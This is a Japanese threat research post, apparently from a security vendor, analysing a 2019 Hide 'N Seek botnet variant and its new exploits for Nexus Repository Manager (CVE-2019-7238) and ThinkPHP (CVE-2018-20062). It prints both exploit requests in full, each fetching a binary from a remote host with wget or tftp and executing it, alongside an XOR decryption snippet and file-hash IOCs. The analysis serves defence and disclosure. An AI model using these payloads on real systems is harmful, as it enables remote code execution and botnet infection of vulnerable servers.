This post is also available in: English (英語)
概要
Hide 'N Seek ボットネットが最初に発見されたのは2018年1月で、ボット間の通信にピアツーピアを使うユニークな通信方法で知られています。
発見以降、当該マルウェアファミリには、永続性の追加、新たなエクスプロイトの追加、Android Debug Bridge (ADB) を介した Android デバイスのターゲット化など、いくつかのアップグレードが行われてきました。
本稿では、2019年2月21日に最初に確認された 2 つの新しいエクスプロイトを組み込んだファミリ亜種について詳しく説明します。1 つ目は CVE-2018-20062 の ThinkPHP のインストールをターゲットにしたもの、2 つ目は CVE-2019-7238 のリモートコード実行 (RCE) の脆弱性で、SonatypeのNexus Repository Manager (NXRM) 3 のソフトウェアインストールをターゲットにしたものです。
ThinkPHP のエクスプロイトは、すでにいくつかの Mirai 亜種により採用されていることが確認されていますが、このほかに CVE-2019-7238 の脆弱性がインターネット上で実際に悪用されていることが確認されているのは DDG ボットネットのみです。以下に概説する私たちの調査は、Hide 'N Seek ボットネットが 2019 年 2 月の時点ですでに当該エクスプロイトを組み込んだことを示しています。これは、DDGボットネットによる組み込みよりさらに前のことです。
技術的分析
この Hide 'N Seek マルウェアの最新バージョンには、それまでのマルウェアファミリに付随していた機能の多くが組み込まれています。たとえば永続性、エクスプロイトの組み込み、 ADB 経由で Android 端末をターゲットにすることなどです。
マルウェアファミリが以前から使用していたエクスプロイトに加え、この特定バージョンでは次の 2 つの新しいエクスプロイトが使用する点がユニークです。
- CVE-2019-7238: Sonatype Nexus Repository Manager のインストールに存在する RCE の脆弱性 (バージョン 3.15.0 未満が対象)。本脆弱性に関する PoC コードは、脆弱性の公開後数週間で広く共有されてきましたが、実際にインターネット上での悪用が見られたのは、DDGボットネットによる 2019 年 5 月のエクスプロイトのみにとどまっています。私たちの調査によれば、今回の新しい Hide'N Seek バージョンサンプルの最初の検知日から確認できるインターネット上での最初の悪用日時は、DDG ボットネットによるそれに 1 ヶ月先んじた 2019 年 2 月でした。エクスプロイトの形式は以下の通りです。
1 2 3 4 5 6 7 |
POST /service/extdirect HTTP/1.1 Host: %J Accept: */* Content-Type: application/json Connection: close Content-Length: %d {"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName(',27h,'java.lang.Runtime',27h,').getRuntime().exec(['flock','-w','0′,'/tmp/l%N','sh','-c','(wget http://%J/%T -O %N||/bin/busybox tftp -g -l %N -r %T %I)&&chmod 777 %N&&./%N a%J a%J',27h,'])"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8} |
- CVE-2018-20062: ThinkPHP に存在する RCE 脆弱性。本エクスプロイトは公開以来 Mirai 亜種によってインターネット上で実際繰り返し悪用されていますが、Hide 'N Seek ボットで使用されていることが確認されたのは今回が初めてです。エクスプロイトのフォーマットは以下の通りです。
1 2 3 |
GET /?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=(wget%20http://%J/%T%20-O%20%N||/bin/busybox%20tftp%20-g%20-l%20%N%20-r%20%T%20%I);chmod%20777%20%N;./%N%20a%J%20a%J HTTP/1.1 Host: %J |
本 Hide 'N Seek 亜種は次の 古い脆弱性も悪用しています。
- CVE-2018-7297: HomeMatic Zentrale CCU2 に存在する RCE 脆弱性
- CouchDB の RCE 脆弱性
- OrientDB の RCE 脆弱性
- Netgear DGN1000 setup.cgi の RCE 脆弱性
- AVTECH IP カメラ/NVR/DVR の RCE 脆弱性
- TP-Link ルータのバックドア
これら 2 つの新しいエクスプロイトに加えて、本亜種は XOR キー 0x87 を文字列の暗号化に使用します。この XOR キーは以前に確認されている亜種と異なるものです。ただし、使用される暗号化方式は、これまでマルウェアファミリで使用されていたものと同じで、バイト単位で累積的に XOR 演算を実行するものです。このやりかたについては、次の IDApython コードスニペットを確認するとわかりやすいでしょう。
1 2 3 4 5 6 |
key=0x87 for addr in range(strstart, strend): originalbyte = GetOriginalByte(addr) decryptedbyte = originalbyte^(key&0xff) PatchByte(addr, decryptedbyte) key += decryptedbyte |
以前のサンプルで見たように、このマルウェアファミリはピアツーピア通信用にハードコードされたピアのリストを保持しています。同変種のハードコードされたピアのリストは、過去に見られたサンプルのものとは異なっていました。これらサンプルのハードコードされたピアIP、ポートの一覧は、こちらの Github ページにあります。
結論
発見以降 Hide `N Seek ピアツーピア Linux ボットネットは、感染対象デバイスを増やすため、新しいエクスプロイトを複数取り入れる方向に進化してきました。今回新たに発見された亜種でも最近の 2 つの脆弱性を追加することで兵力を増強していました。特筆すべきは CVE-2019-7238 を標的とするエクスプロイトが追加されている点でしょう。サンプルの初出日時からするに、同マルウェアファミリは最も早い時期に当該脆弱性を悪用しているものだと言えそうです。
パロアルトネットワークスのお客様は、次の方法でこの脅威から保護されています。
- WildFireは本稿に記載したすべてのサンプルを検出し「Malicious(悪意のある)」ものと判定します
- Threat Prevention は本亜種によって使用されるすべてのエクスプロイトをブロックします
同マルウェアファミリは、次のタグを使用してAutoFocusで追跡できます: HideNSeek
パロアルトネットワークスは本稿で見つかったファイルサンプルや侵害の兆候などをふくむ調査結果をCyber Threat Alliance(CTA サイバー脅威アライアンス)のメンバーと共有しました。CTA のメンバーはこのインテリジェンスを使用して、お客様に保護を迅速に提供し、悪意のあるサイバー攻撃者を体系的に阻害することができます。Cyber Threat Allianceの詳細については、次のWebサイトをご覧ください: www.cyberthreatalliance.org
IOC
初出 | SHA256値 | ターゲットアーキテクチャ |
2019-02-21 | 49495c9aa08d7859fec1f99f487560b59d8a8914811746181e4e7edbee85341f | x86 64-bit |
2019-02-21 | d068e8f781879774f0bcc1f2a116211d41194b67024fe45966c8272a8038a7a1 | ARM |
2019-03-15 | 1583fd1c6607b77f51411c4ad7c9225324fd1b069645062a348cd885de0ac382
7e20c6cea88ade6a6c4a08ce48fe4ac2451069b7662a8dda4362a304b4854ec7 |
ARM |
2019-03-20 | 0b05202f4da9bbe1af1811707a76544453282c4f3c0ac9b353759c86742f4369 | MIPS big endian |
2019-03-22 | 73df4e952c581afc427fa18fa2d0bcfa409c1814cd872a3ccf05d44f934ce780 | MIPS little endian |
2019-05-24 | c082c39e595c7f23c04ce0d6597657d6e649585d5da49b5bd896e664b712e60d | MIPS big endian |
2019-05-26 | 500dd4c1a5c24495c3bb8173ce5c7b15ba3344aef855090b9b9585b2bfeea974 | x86 |
表1 本 Hide 'N Seek 亜種のサンプルに関する IOC